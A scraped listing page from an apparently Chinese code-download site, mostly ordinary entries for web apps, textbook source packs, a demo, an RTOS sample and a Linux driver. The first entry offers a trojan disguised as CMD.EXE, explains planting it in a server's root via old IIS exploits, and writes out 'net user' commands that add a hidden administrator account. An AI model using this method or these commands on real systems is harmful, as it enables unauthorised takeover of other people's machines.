你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在执行搜索的时候, 首先查找根目录 而开始菜单的运行窗口里执行命令, 也是首先在系统盘的根目录里进行查找. 这个漏洞其实是已经是公开的秘密了. 既然现在作为漏洞公布出来, 我也就把网上的PasswordReminder.cpp拿来改了改 加了一个加超级管理员用户和执行cmd.exe的功能. 使用方法: 把程序解压, 把压缩包里的文件 CMD.EXE (该文件具有隐藏和只读属性) 释放到目标机器的系统盘根目录, 一般都是在C:比如利用UNICODE/Decode漏洞就有写根目录的权限, 同时Asp/fp30reg.dll等远程溢出出来的Shell, 一般都只有匿名权限, 但是它具有写根目录的权限 这个时候, 就可以把本程序放到目标机器的系统盘根目录 只要等管理员在机器的开始菜单里运行命令: cmd 一切尽在掌握中.:) PS: 系统执行后, 会先产生一个线程来做一些处理 然后用system()函数调用cmd.exe来让用户能够执行命令. 产生出来的线程会产生两个进程序执行如下两个命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 这样就在系统上增加了一个超级
上传时间： 2015-01-12
上传用户：qlpqlq
软件名称 锐通大型电子购物系统 运行环境 ASP环境 软件语言 国产软件 整理时间 2004-8-15 15:07:33 软件类型 ASP源码 程序主页 http://xrlt.yeah.net 授权方式 免费软件 联系作者 http://www.idler-et.com/comic-et/home/ 软件大小 663 KB 界面预览 没有预览图片 软件等级 解压密码 本站默认解压密码:www.ttxx.com 下载统计 本日下载：3 本周下载：4 本月下载：11 总共下载：170 ∷软件简介∷ 完全仿照8848网站设计的网上购物系统，功能真够强大，不必做太多的说明，如果你去过8848，便会对此有比较深刻的了解。
上传时间： 2013-12-23
上传用户：xzt
一个交织器的源代码 留言：站长，我上载的代码如果有解压后不识别的文件类型，请保存为rar即可打开！
上传时间： 2015-02-11
上传用户：xz85592677
《Dreamweaver MX 2004中文版精彩设计百例》源代码，WinRAR自解压包
标签： Dreamweaver 2004 MX 源代码
上传时间： 2015-02-15
上传用户：nanfeicui
《Java课程设计案例精编》源代码，WinRAR自解压包。
上传时间： 2013-12-08
上传用户：洛木卓
说明: 这个程序(omni.com)是97年的Mekka ’97 4K Intro比赛的一等奖作品。整个程序全长4095字节，其中包含133字节的自解压程序(类RAR压缩)，未解压的程序长4782字节。三维场景包含144个立方体，367个面，362个点，15个不同的64*64的纹理
上传时间： 2015-02-16
上传用户：asdfasdfd
风暴设计『留言簿v1.0』jsp版安装过程 1.服务器装有jdk和resin服务器等 2.安装完JSDK后，配置下面的内容： 在系统变量中找到ClassPath并加入下面内容(如果你找不到ClassPath，则新建它)： c:jsdkLIBdt.JAR c:jsdkLIBTOOLS.JAR c:jsdkBIN . 再在系统变量中找到Path并加入下面内容： c:jsdk c:jsdkin 3.直接解压resin就可以运行把程序放在doc目录下面把classes目录的文件放在 WEB-INF目录下 4.在odbc放里加入数据库路径为guestbook也可改为别的要修改classesmyjspdbconn.java文件 5.上面成功后就可以http://localhost:8080/目录名/可以访问了。。 Any Problem Please Contact to kuflash@hotmail.com http://xxgc.zjbti.net.cn/kuflash 亿龙电脑网
上传时间： 2014-12-08
上传用户：13160677563
Demo程序经Keil701编译后，代码量为7-8K，可直接在KeilC51上仿真运行。 使用方法：解压后双击yy项目，点调试即可在串口仿真看到结果。 Demo程序创建了3个任务A、B、C优先级分别为2、3、4，A每秒显示一次，B每3秒显示一次，C每6秒显示一次。从显示结果看，显示3个A后显示1个B，显示6个A和2个B后显示1个C，结果显然正确。用户可以仿照范例运用更多系统API函数写出自己的程序。只要程序中有显示语句就可以用软件仿真器看结果。注意：系统提供的显示函数是并发的，他不是直接显示到串口，而是先输出到显存，用户不必担心IO慢速操作影响程序运行。串口输入也采用了同样的技术，他使得用户在CPU忙于处理其他任务时照样可以盲打输入命令。 将EXL2-shell目录下的文件覆盖yy目录下的同名文件，将word.c、yyshell.c、yyshellsub.c、mystring.c加入项目，删除yy1.c，编译后调试即可。输入help可得到在线帮助，具体命令用法见文章说明。 yangye网友推荐http://www.sics.se/~adam/lwip/网站学习TCPIP，该网站开放源代码的lwip是专为8bit和16bitMCU设计的TCPIP协议栈，已在多种CPU上移植成功，推荐大家下载。
上传时间： 2014-11-01
上传用户：hopy
蓝丽Net留言系统说明手册 1:蓝丽Net留言系统亮点提示 蓝丽Net留言系统虽然开发的时间较短，但实为技术内涵较高，有其独特的风格特点 主要用途:使访客自由留言,管理员(站长)自由回复,或用于信息发布,资料存储 综合特点（采用较新的asp.net+xml+xsl设计,一应功能俱全,老搭档新品种该有的功能都有了 版面清爽,速度流畅,操作方便,安全稳定,安装管理方便,占用资源少,占用空间少 PS:FYW真能吹^-^） 性能方面:普通PC机访问本系统主页,能够达到50-200MS,这方面Xml若逊于Html方式输出的速度 安装方面:非常简单,几乎无需改动或根据您的要求少加改动,上传至服务器即可正常运行 安全方面:在本人已知的Asp,Asp.net存在的(数据提交,Sql注入,Cookies欺骗,跨站提交,注水提交)等安全隐患上下了许多工夫,经仔细测试在这些方面约能达到98%的安全,至于 本人未接触到的安全隐患方面,请自行升级或提示本人改正 2:安装调试蓝丽Net留言系统 ---既然看到了本帮助文件,那相信此时您已将本系统压缩包(rar,zip)解压 ---首先,请确认您的服务器操作系统支持运行Asp.net,IE版本在5.5以上,或者您有远程虚拟主机
标签： Net
上传时间： 2013-12-15
上传用户：天涯
Linux下的usb无线网卡驱动程序源码(下载后请将名称改为atmelwlandriver-3.3.5.5.tar.bz2，然后可以解压使用)
标签： atmelwlandriver Linux usb tar
上传时间： 2015-03-01
上传用户：bruce
